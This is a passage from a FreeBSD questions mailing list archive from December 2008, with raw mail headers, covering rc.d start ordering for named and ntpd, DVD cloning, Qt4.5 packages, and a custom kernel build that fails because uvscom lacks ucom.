Dec 2008 13:22:29 -0800 (PST) Message-ID: <560f92640812051322h520ac67ficebbc3881907fbc2@mail.gmail.com> Date: Fri, 5 Dec 2008 13:22:29 -0800 From: "Nerius Landys" To: RW In-Reply-To: <20081205190703.0dfb952d@gumby.homeunix.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <20081205190703.0dfb952d@gumby.homeunix.com> Cc: freebsd-questions@freebsd.org Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 21:52:15 -0000 > This shouldn't be needed as ntpd already requires ntpdate and in > turn ntpdate requires named. The issue is probably timing - that named > isn't ready. Actually, the REQUIRE thing in the /etc/rc.d scripts means "if the required service is enabled, start it before this one". It does not mean "start the required service before this one". I had ntpd enabled but not ntpdate in my rc.conf. Therefore the ntpdate script which requires NETWORK and named did not get run. As mentioned earlier, my fix was to run ntpdate at bootup as well as ntpd. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 22:11:17 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BCD29106567A for ; Fri, 5 Dec 2008 22:11:17 +0000 (UTC) (envelope-from fbsd06+4K=17e8c03f@mlists.homeunix.com) Received: from mxout-03.mxes.net (mxout-03.mxes.net [216.86.168.178]) by mx1.freebsd.org (Postfix) with ESMTP id 8D8EF8FC1A for ; Fri, 5 Dec 2008 22:11:17 +0000 (UTC) (envelope-from fbsd06+4K=17e8c03f@mlists.homeunix.com) Received: from gumby.homeunix.com (unknown [87.81.140.128]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp.mxes.net (Postfix) with ESMTP id 0C72923E3F7 for ; Fri, 5 Dec 2008 17:11:15 -0500 (EST) Date: Fri, 5 Dec 2008 22:11:13 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20081205221113.6084e635@gumby.homeunix.com> In-Reply-To: <560f92640812051322h520ac67ficebbc3881907fbc2@mail.gmail.com> References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <20081205190703.0dfb952d@gumby.homeunix.com> <560f92640812051322h520ac67ficebbc3881907fbc2@mail.gmail.com> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 22:11:17 -0000 On Fri, 5 Dec 2008 13:22:29 -0800 "Nerius Landys" wrote: > > This shouldn't be needed as ntpd already requires ntpdate and in > > turn ntpdate requires named. The issue is probably timing - that > > named isn't ready. > > Actually, the REQUIRE thing in the /etc/rc.d scripts means "if the > required service is enabled, start it before this one". It does not > mean "start the required service before this one". That's not correct. BEFORE and REQUIRE are used by rcorder to determine the ordering of the scripts without checking if they are enabled. Actually all scripts get run - if you don't enable ntpdate then rc.d/ntpdate still runs, but doesn't do anything. From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 22:42:51 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 744BC1065672 for ; Fri, 5 Dec 2008 22:42:51 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: from mu-out-0910.google.com (mu-out-0910.google.com [209.85.134.187]) by mx1.freebsd.org (Postfix) with ESMTP id F1FAF8FC0C for ; Fri, 5 Dec 2008 22:42:50 +0000 (UTC) (envelope-from nlandys@gmail.com) Received: by mu-out-0910.google.com with SMTP id i2so142160mue.3 for ; Fri, 05 Dec 2008 14:42:49 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references; bh=WLU2d3xw5cziySW2astxGYNlaTomysp3P22W2CYklRE=; b=DrXfeG9mT7zfZwc1wQ0KmVQuWB1i42cpjt4HTmUx2R2OXOEoKs4hrD49D2ygXLocVo tnKy8YW8qzwa1/KH9Mb1TcB9e1o0MLlXxdrXTvm2yrgKlRaz4qzFC8YgU0wGO/HfQvsz PCOhWTFvazbvL201ZcpbAhmRWYCMdwp/REtHs= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references; b=MTrCy2zSL/xPs0JHoIJVcv8VNHC8YRAG7zCqk76CS+vPX0tiULTdsQwhH+JSlfJ6fS S0I5fsVFbnuapUWS57MuAdQM0hko0vXYh82fIt9mnb1PVxzQ0uU18ogfGGYp4Livvl6/ jKqvOOWlxWLmAaYQCIODMrfyYqYlxD8sOYQ+c= Received: by 10.181.55.2 with SMTP id h2mr169707bkk.52.1228516969497; Fri, 05 Dec 2008 14:42:49 -0800 (PST) Received: by 10.180.240.16 with HTTP; Fri, 5 Dec 2008 14:42:49 -0800 (PST) Message-ID: <560f92640812051442y4263b70and059c0a6e6177cd9@mail.gmail.com> Date: Fri, 5 Dec 2008 14:42:49 -0800 From: "Nerius Landys" To: RW In-Reply-To: <20081205221113.6084e635@gumby.homeunix.com> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <20081205190703.0dfb952d@gumby.homeunix.com> <560f92640812051322h520ac67ficebbc3881907fbc2@mail.gmail.com> <20081205221113.6084e635@gumby.homeunix.com> Cc: freebsd-questions@freebsd.org Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 22:42:51 -0000 > That's not correct. BEFORE and REQUIRE are used by rcorder to > determine the ordering of the scripts without checking if they are > enabled. Actually all scripts get run - if you don't enable ntpdate then > rc.d/ntpdate still runs, but doesn't do anything. My mistake. But then I don't understand why enabling ntpdate in rc.conf fixed my problem of ntpd's DNS resolver child process not completing (returning). My guess was that NETWORK and named were guaranteed getting run before ntpd if I included ntpdate in rc.conf. I thought that perhaps NETWORK and named were not getting run before ntpd in my particular case when I didn't include ntpdate in rc.conf. But according to your information NETWORK and named scripts would get run before the ntpd script no matter if ntpdate was enabled in rc.conf or not (because NETWORK and named are required by ntpdate and ntpdate is required by ntpd). So why did enabling ntpdate in rc.conf fix my problem? From owner-freebsd-questions@FreeBSD.ORG Fri Dec 5 23:19:01 2008 Return-Path: Delivered-To: FreeBSD-Questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8A3FA1065679 for ; Fri, 5 Dec 2008 23:19:01 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id C7B438FC12 for ; Fri, 5 Dec 2008 23:19:00 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB5NIZBd030457; Sat, 6 Dec 2008 00:18:35 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB5NIYxv030454; Sat, 6 Dec 2008 00:18:34 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Sat, 6 Dec 2008 00:18:33 +0100 (CET) From: Wojciech Puchar To: FreeBSD Questions In-Reply-To: <20081205211833.GB37607@Grumpy.DynDNS.org> Message-ID: <20081206001813.T30423@wojtek.tensor.gdynia.pl> References: <20081205161112.f9bcddff.freebsd@edvax.de> <20081205164750.20fce934.freebsd@edvax.de> <20081205171703.B2281@wojtek.tensor.gdynia.pl> <20081205193220.GA36935@Grumpy.DynDNS.org> <20081205204227.P3415@wojtek.tensor.gdynia.pl> <20081205211833.GB37607@Grumpy.DynDNS.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Polytropon , Andrew Gould Subject: Re: DVD cloning tool X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 05 Dec 2008 23:19:01 -0000 > > Thought readcd (out of cdrtools) also knew how to read DVD? at least some time ago i tried - it doesn't read From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 00:10:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1FFFC106567B for ; Sat, 6 Dec 2008 00:10:34 +0000 (UTC) (envelope-from cpghost@cordula.ws) Received: from fw.farid-hajji.net (fw.farid-hajji.net [213.146.115.42]) by mx1.freebsd.org (Postfix) with ESMTP id A866F8FC1E for ; Sat, 6 Dec 2008 00:10:33 +0000 (UTC) (envelope-from cpghost@cordula.ws) Received: from phenom.cordula.ws (phenom [192.168.254.60]) by fw.farid-hajji.net (Postfix) with ESMTP id 8A2C73644F; Sat, 6 Dec 2008 01:10:31 +0100 (CET) Message-ID: <4939C33A.8070108@cordula.ws> Date: Sat, 06 Dec 2008 01:11:38 +0100 From: cpghost User-Agent: Thunderbird 2.0.0.18 (X11/20081126) MIME-Version: 1.0 To: RW References: <560f92640811211647q551daccnaec4e8085bb8e042@mail.gmail.com> <20081205190703.0dfb952d@gumby.homeunix.com> In-Reply-To: <20081205190703.0dfb952d@gumby.homeunix.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: named and ntpd start order in rc.d X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 00:10:34 -0000 RW wrote: > On Fri, 21 Nov 2008 16:47:50 -0800 > "Nerius Landys" wrote: > > >> I believe that the fix for this is to add a dependency >> to /etc/rc.d/ntpd script, adding "named" to "REQUIRE" section in >> comments. In your opinion, is this a robust fix? For example the >> line in my /etc/rc.d/ntpd script that looks like so: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs >> >> would be changed to this: >> >> # REQUIRE: DAEMON ntpdate cleanvar devfs named >> > > This shouldn't be needed as ntpd already requires ntpdate and in > turn ntpdate requires named. The issue is probably timing - that named > isn't ready. > > I have a similar issue with PPP not having connected by the time > ntpdate runs , so I just have a script that runs between named and > ntpdate, and blocks waiting for access. > Those timing / start-order issues are getting more and more annoying, IMHO. On my PPPoE / mpd5 connected systems, it's the same problem: * openntpd (from ports) can't start, because named is not ready * pf can't parse /etc/pf.conf because the ng0 interface is not yet there etc, etc, etc... Isn't there a generic way to delay some scripts from starting until a specific subset is ready (say: networking fully up, and named ready to reply)? Perhaps some keyword or class to add to a startup script would be nice to have! Thanks, --cpghost. -- Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 00:43:22 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B1DFD1065670 for ; Sat, 6 Dec 2008 00:43:22 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from pecan2.exetel.com.au (pecan2.exetel.com.au [220.233.0.70]) by mx1.freebsd.org (Postfix) with ESMTP id 7A9528FC1B for ; Sat, 6 Dec 2008 00:43:22 +0000 (UTC) (envelope-from shinjii@maydias.com) Received: from 196.43.96.58.exetel.com.au ([58.96.43.196] helo=enterprise.blackthorn.nu) by pecan2.exetel.com.au with esmtp (Exim 4.68) (envelope-from ) id 1L8lGS-0000CT-Pn for freebsd-questions@freebsd.org; Sat, 06 Dec 2008 11:43:20 +1100 Message-ID: <4939CABB.7050702@maydias.com> Date: Sat, 06 Dec 2008 10:43:39 +1000 From: Warren Liddell User-Agent: Thunderbird 2.0.0.17 (X11/20081016) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: QT4.5 packages X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 00:43:22 -0000 Does anyone have or know of where to download the pkg files for the various Qt4.5 ports as using pkg_add is the only way im able to add them atm. From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 01:10:24 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id ABA021065672 for ; Sat, 6 Dec 2008 01:10:24 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) Received: from relais.videotron.ca (relais.videotron.ca [24.201.245.36]) by mx1.freebsd.org (Postfix) with ESMTP id 7AA8D8FC08 for ; Sat, 6 Dec 2008 01:10:24 +0000 (UTC) (envelope-from af.gourmet@videotron.ca) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=ISO-8859-1; format=flowed Received: from [192.168.0.52] ([96.21.103.185]) by VL-MH-MR002.ip.videotron.ca (Sun Java(tm) System Messaging Server 6.3-4.01 (built Aug 3 2007; 32bit)) with ESMTP id <0KBF00D2EKL85MP0@VL-MH-MR002.ip.videotron.ca> for freebsd-questions@freebsd.org; Fri, 05 Dec 2008 20:10:22 -0500 (EST) Message-id: <4939D0FB.9090304@videotron.ca> Date: Fri, 05 Dec 2008 20:10:19 -0500 From: PJ User-Agent: Thunderbird 2.0.0.17 (X11/20081128) To: freebsd-questions@freebsd.org Subject: custom kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 01:10:24 -0000 I'm somewhat perturbed and feeling like somebody is laughing at me or at all of us. It used to be fairly easy to install FBSD, but now it seems to be an incredibly complicated task. I have installed and reinstalled a number of distributions from FBSD 4 or earlier up to the present 7.0. It used to be sysctl would install the minimal system and then I would add the necessary programs and build a custom kernel. It was time consuming but hardly problematic. Now, I am trying to build another fresh install of v.7.0 and guess what, I am doing it on an identical motherboard with the the same peripherals as another box with the only differences being a cpu of 3ghz on the older box and 2.4 on the new one (both Pentium 4) and slightly different HDDs. I did exactly the same on all installations but now, as previously and according to the Handbook, make buildkernel KERNCONF=MYKERNEL stops with errors. I tried the conf MYKERNEL opption and all it did was point me to the compile directory and said not to forget to do make cleandepend && make depend. A little strange, that, never had that happen before... but, ok, did it. then ran make buildkernel KERNCONF=MYKERNEL and, surprise ! same shit. Now, let me mention that I had previously installed 7.0 on the problem computer with no problem then decided I did not need it and got rid of it, that is, cleaned the disk and used it to store files.I now reconfigured the computer and set it up with 4 disks - 2 80Gb configured as Raid1 (mirror) and bootable. Works fine when FBSD installed. Other disks not configured or used yet. I installed the minimal system, did portsnap extract, installed bash and cvsup-without-gui, set up the ports-supfile and the standard-supfile; did cvsup -g -L 2 standard-supfile and retrived the source files, all of them.I then edited :MYKERNEL and started the make buildkernel process. wait...wait...wait.. terminates with linking kernel uvscom.o (.text+0x293): In function 'uvscom_attach' ; :undefined reference to 'ucom_attach' etc..... *** Error code 1 did I do something wrong? system is still on and functioning but how do I make the custom kernel? this is my kernel file: # $FreeBSD: src/sys/i386/conf/GENERIC,v 1.474.2.7 2008/04/10 22:09:22 rwatson Exp $ cpu I686_CPU ident MYKERNEL # To statically compile in device wiring instead of /boot/device.hints #hints "GENERIC.hints" # Default places to look for devices. #makeoptions DEBUG=-g # Build kernel with gdb(1) debug symbols options SCHED_4BSD # 4BSD scheduler options PREEMPTION # Enable kernel thread preemption options INET # InterNETworking #options INET6 # IPv6 communications protocols options SCTP # Stream Control Transmission Protocol options FFS # Berkeley Fast Filesystem options SOFTUPDATES # Enable FFS soft updates support options UFS_ACL # Support for access control lists #options UFS_DIRHASH # Improve performance on big directories options UFS_GJOURNAL # Enable gjournal-based UFS journaling options MD_ROOT # MD is a potential root device #options NFSCLIENT # Network Filesystem Client #options NFSSERVER # Network Filesystem Server #options NFSLOCKD # Network Lock Manager #options NFS_ROOT # NFS usable as /, requires NFSCLIENT #options MSDOSFS # MSDOS Filesystem options CD9660 # ISO 9660 Filesystem #options PROCFS # Process filesystem (requires PSEUDOFS) #options PSEUDOFS # Pseudo-filesystem framework #options GEOM_PART_GPT # GUID Partition Tables. #options GEOM_LABEL # Provides labelization options COMPAT_43TTY # BSD 4.3 TTY compat [KEEP THIS!] options COMPAT_FREEBSD4 # Compatible with FreeBSD4 options COMPAT_FREEBSD5 # Compatible with FreeBSD5 options COMPAT_FREEBSD6 # Compatible with FreeBSD6 options SCSI_DELAY=5000 # Delay (in ms) before probing SCSI #options KTRACE # ktrace(1) support #options STACK # stack(9) support options SYSVSHM # SYSV-style shared memory options SYSVMSG # SYSV-style message queues options SYSVSEM # SYSV-style semaphores options _KPOSIX_PRIORITY_SCHEDULING # POSIX P1003_1B real-time extensions options KBD_INSTALL_CDEV # install a CDEV entry in /dev #options ADAPTIVE_GIANT # Giant mutex is adaptive. options STOP_NMI # Stop CPUS using NMI instead of IPI #options AUDIT # Security event auditing # To make an SMP kernel, the next two lines are needed options SMP # Symmetric MultiProcessor Kernel device apic # I/O APIC # CPU frequency control device cpufreq # Bus support. #device eisa device pci # Floppy drives device fdc # ATA and ATAPI devices device ata device atadisk # ATA disk drives device ataraid # ATA RAID drives device atapicd # ATAPI CDROM drives device atapifd # ATAPI floppy drives #device atapist # ATAPI tape drives options ATA_STATIC_ID # Static device numbering # SCSI Controllers #device ahb # EISA AHA1742 family device ahc # AHA2940 and onboard AIC7xxx devices #options AHC_REG_PRETTY_PRINT # Print register bitfields in debug # output. Adds ~128k to driver. device ahd # AHA39320/29320 and onboard AIC79xx devices #options AHD_REG_PRETTY_PRINT # Print register bitfields in debug # output. Adds ~215k to driver. #device amd # AMD 53C974 (Tekram DC-390(T)) #device hptiop # Highpoint RocketRaid 3xxx series #device isp # Qlogic family #device ispfw # Firmware for QLogic HBAs- normally a module #device mpt # LSI-Logic MPT-Fusion #device ncr # NCR/Symbios Logic #device sym # NCR/Symbios Logic (newer chipsets + those of `ncr') #device trm # Tekram DC395U/UW/F DC315U adapters #device adv # Advansys SCSI adapters #device adw # Advansys wide SCSI adapters #device aha # Adaptec 154x SCSI adapters device aic # Adaptec 15[012]x SCSI adapters, AIC-6[23]60. #device bt # Buslogic/Mylex MultiMaster SCSI adapters #device ncv # NCR 53C500 #device nsp # Workbit Ninja SCSI-3 #device stg # TMC 18C30/18C50 # SCSI peripherals device scbus # SCSI bus (required for SCSI) device ch # SCSI media changers device da # Direct Access (disks) device sa # Sequential Access (tape etc) device cd # CD device pass # Passthrough device (direct SCSI access) #device ses # SCSI Environmental Services (and SAF-TE) # RAID controllers interfaced to the SCSI subsystem #device amr # AMI MegaRAID #device arcmsr # Areca SATA II RAID #device asr # DPT SmartRAID V, VI and Adaptec SCSI RAID #device ciss # Compaq Smart RAID 5* #device dpt # DPT Smartcache III, IV - See NOTES for options #device hptmv # Highpoint RocketRAID 182x device hptrr # Highpoint RocketRAID 17xx, 22xx, 23xx, 25xx device iir # Intel Integrated RAID #device ips # IBM (Adaptec) ServeRAID #device mly # Mylex AcceleRAID/eXtremeRAID #device twa # 3ware 9000 series PATA/SATA RAID # RAID controllers #device aac # Adaptec FSA RAID #device aacp # SCSI passthrough for aac (requires CAM) #device ida # Compaq Smart RAID #device mfi # LSI MegaRAID SAS #device mlx # Mylex DAC960 family #device pst # Promise Supertrak SX6000 #device twe # 3ware ATA RAID # atkbdc0 controls both the keyboard and the PS/2 mouse device atkbdc # AT keyboard controller device atkbd # AT keyboard device psm # PS/2 mouse #device kbdmux # keyboard multiplexer device vga # VGA video card driver device splash # Splash screen and screen saver support # syscons is the default console driver, resembling an SCO console device sc device agp # support several AGP chipsets # Power management support (see NOTES for more options) #device apm # Add suspend/resume support for the i8254. device pmtimer # PCCARD (PCMCIA) support # PCMCIA and cardbus bridge support #device cbb # cardbus (yenta) bridge #device pccard # PC Card (16-bit) bus #device cardbus # CardBus (32-bit) bus # Serial (COM) ports device sio # 8250, 16[45]50 based serial ports device uart # Generic UART driver # Parallel port device ppc device ppbus # Parallel port bus (required) device lpt # Printer device plip # TCP/IP over parallel device ppi # Parallel port interface device device vpo # Requires scbus and da # If you've got a "dumb" serial or parallel PCI card that is # supported by the puc(4) glue driver, uncomment the following # line to enable it (connects to sio, uart and/or ppc drivers): #device puc # PCI Ethernet NICs. #device de # DEC/Intel DC21x4x (``Tulip'') device em # Intel PRO/1000 adapter Gigabit Ethernet Card #device ixgb # Intel PRO/10GbE Ethernet Card #device le # AMD Am7900 LANCE and Am79C9xx PCnet #device txp # 3Com 3cR990 (``Typhoon'') #device vx # 3Com 3c590, 3c595 (``Vortex'') # PCI Ethernet NICs that use the common MII bus controller code. # NOTE: Be sure to keep the 'device miibus' line in order to use these NICs! #device miibus # MII bus support #device bce # Broadcom BCM5706/BCM5708 Gigabit Ethernet #device bfe # Broadcom BCM440x 10/100 Ethernet #device bge # Broadcom BCM570xx Gigabit Ethernet #device dc # DEC/Intel 21143 and various workalikes #device fxp # Intel EtherExpress PRO/100B (82557, 82558) #device lge # Level 1 LXT1001 gigabit Ethernet #device msk # Marvell/SysKonnect Yukon II Gigabit Ethernet #device nfe # nVidia nForce MCP on-board Ethernet #device nge # NatSemi DP83820 gigabit Ethernet #device nve # nVidia nForce MCP on-board Ethernet Networking #device pcn # AMD Am79C97x PCI 10/100 (precedence over 'le') #device re # RealTek 8139C+/8169/8169S/8110S #device rl # RealTek 8129/8139 #device sf # Adaptec AIC-6915 (``Starfire'') #device sis # Silicon Integrated Systems SiS 900/SiS 7016 #device sk # SysKonnect SK-984x & SK-982x gigabit Ethernet #device ste # Sundance ST201 (D-Link DFE-550TX) #device stge # Sundance/Tamarack TC9021 gigabit Ethernet #device ti # Alteon Networks Tigon I/II gigabit Ethernet #device tl # Texas Instruments ThunderLAN #device tx # SMC EtherPower II (83c170 ``EPIC'') #device vge # VIA VT612x gigabit Ethernet #device vr # VIA Rhine, Rhine II #device wb # Winbond W89C840F #device xl # 3Com 3c90x (``Boomerang'', ``Cyclone'') # ISA Ethernet NICs. pccard NICs included. #device cs # Crystal Semiconductor CS89x0 NIC # 'device ed' requires 'device miibus' #device ed # NE[12]000, SMC Ultra, 3c503, DS8390 cards #device ex # Intel EtherExpress Pro/10 and Pro/10+ #device ep # Etherlink III based cards #device fe # Fujitsu MB8696x based cards #device ie # EtherExpress 8/16, 3C507, StarLAN 10 etc. #device sn # SMC's 9000 series of Ethernet chips #device xe # Xircom pccard Ethernet # Wireless NIC cards #device wlan # 802.11 support #device wlan_wep # 802.11 WEP support #device wlan_ccmp # 802.11 CCMP support #device wlan_tkip # 802.11 TKIP support #device wlan_amrr # AMRR transmit rate control algorithm #device wlan_scan_ap # 802.11 AP mode scanning #device wlan_scan_sta # 802.11 STA mode scanning #device an # Aironet 4500/4800 802.11 wireless NICs. #device ath # Atheros pci/cardbus NIC's #device ath_hal # Atheros HAL (Hardware Access Layer) #device ath_rate_sample # SampleRate tx rate control for ath #device awi # BayStack 660 and others #device ral # Ralink Technology RT2500 wireless NICs. #device wi # WaveLAN/Intersil/Symbol 802.11 wireless NICs. #device wl # Older non 802.11 Wavelan wireless NIC. # Pseudo devices. device loop # Network loopback device random # Entropy device device ether # Ethernet support device sl # Kernel SLIP #device ppp # Kernel PPP #device tun # Packet tunnel. device pty # Pseudo-ttys (telnet etc) #device md # Memory "disks" device gif # IPv6 and IPv4 tunneling device faith # IPv6-to-IPv4 relaying (translation) device firmware # firmware assist module # The `bpf' device enables the Berkeley Packet Filter. # Be aware of the administrative consequences of enabling this! # Note that 'bpf' is required for DHCP. device bpf # Berkeley packet filter # USB support device uhci # UHCI PCI->USB interface device ohci # OHCI PCI->USB interface device ehci # EHCI PCI->USB interface (USB 2.0) device usb # USB Bus (required) #device udbp # USB Double Bulk Pipe devices device ugen # Generic #device uhid # "Human Interface Devices" device ukbd # Keyboard device ulpt # Printer device umass # Disks/Mass storage - Requires scbus and da device ums # Mouse #device ural # Ralink Technology RT2500USB wireless NICs #device rum # Ralink Technology RT2501USB wireless NICs #device urio # Diamond Rio 500 MP3 player #device uscanner # Scanners # USB Serial devices #device ucom # Generic com ttys #device uark # Technologies ARK3116 based serial adapters #device ubsa # Belkin F5U103 and compatible serial adapters #device ubser # BWCT console serial adapters #device uftdi # For FTDI usb serial adapters #device uipaq # Some WinCE based devices #device uplcom # Prolific PL-2303 serial adapters #device uslcom # SI Labs CP2101/CP2102 serial adapters #device uvisor # Visor and Palm devices device uvscom # USB serial support for DDI pocket's PHS # USB Ethernet, requires miibus #device aue # ADMtek USB Ethernet #device axe # ASIX Electronics USB Ethernet #device cdce # Generic USB over Ethernet #device cue # CATC USB Ethernet #device kue # Kawasaki LSI USB Ethernet #device rue # RealTek RTL8150 USB Ethernet # FireWire support device firewire # FireWire bus code device sbp # SCSI over FireWire (Requires scbus and da) device fwe # Ethernet over FireWire (non-standard!) device fwip # IP over FireWire (RFC 2734,3146) #device dcons # Dumb console driver #device dcons_crom # Configuration ROM for dcons # Sound device sound device snd_ich From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 01:32:00 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 618181065670 for ; Sat, 6 Dec 2008 01:32:00 +0000 (UTC) (envelope-from patfbsd@davenulle.org) Received: from smtp.lamaiziere.net (net.lamaiziere.net [91.121.44.19]) by mx1.freebsd.org (Postfix) with ESMTP id 276638FC19 for ; Sat, 6 Dec 2008 01:32:00 +0000 (UTC) (envelope-from patfbsd@davenulle.org) Received: from baby-jane.lamaiziere.net (246.10.87-79.rev.gaoland.net [79.87.10.246]) by smtp.lamaiziere.net (Postfix) with ESMTPA id E2F7B633676; Sat, 6 Dec 2008 02:31:58 +0100 (CET) Received: from baby-jane (localhost [127.0.0.1]) by baby-jane.lamaiziere.net (Postfix) with ESMTP id 38004670542; Sat, 6 Dec 2008 02:31:58 +0100 (CET) Date: Sat, 6 Dec 2008 02:31:57 +0100 From: Patrick =?ISO-8859-15?Q?Lamaizi=E8re?= To: freebsd-questions@freebsd.org, PJ Message-ID: <20081206023157.349be0ea@baby-jane> In-Reply-To: <4939D0FB.9090304@videotron.ca> References: <4939D0FB.9090304@videotron.ca> Organization: /dave/nulle X-Mailer: Claws Mail 3.3.1 (GTK+ 2.12.9; i386-apple-darwin9.3.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-15 Content-Transfer-Encoding: 8bit Cc: Subject: Re: custom kernel X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 06 Dec 2008 01:32:00 -0000 Le Fri, 05 Dec 2008 20:10:19 -0500, PJ a écrit : > linking kernel > uvscom.o (.text+0x293): In function 'uvscom_attach' ; > :undefined reference to 'ucom_attach' etc..... > *** Error code 1 > > did I do something wrong? system is still on and functioning but how > do I make the custom kernel? > > this is my kernel file: > #device ucom # Generic com ttys > device uvscom # USB serial support for DDI pocket's PHS The device uvscom needs ucom... Anyway you can use the GENERIC kernel and just kldload the necessary modules. Regards. From owner-freebsd-questions@FreeBSD.ORG Sat Dec 6 01:46:05 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8A0C31065675 for ; Sat, 6 Dec 2008 01:46:05 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 0CB1D8FC1D for ; Sat, 6 Dec 2008 01:46:04 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L8mF9-000660-1H for freebsd-questions@freebsd.org; 